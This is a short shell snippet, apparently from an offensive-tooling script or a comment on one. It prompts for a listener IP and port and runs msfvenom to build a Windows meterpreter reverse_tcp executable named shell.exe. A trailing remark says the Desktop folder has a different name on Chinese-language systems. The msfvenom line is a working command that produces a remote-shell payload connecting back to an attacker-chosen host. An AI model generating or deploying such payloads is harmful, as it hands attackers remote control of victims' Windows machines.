read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f exe > ~/Desktop/temp/shell.exe
not all desktop folder are call "desktop",it is call "桌面" in chinese version,you must add "touch /……"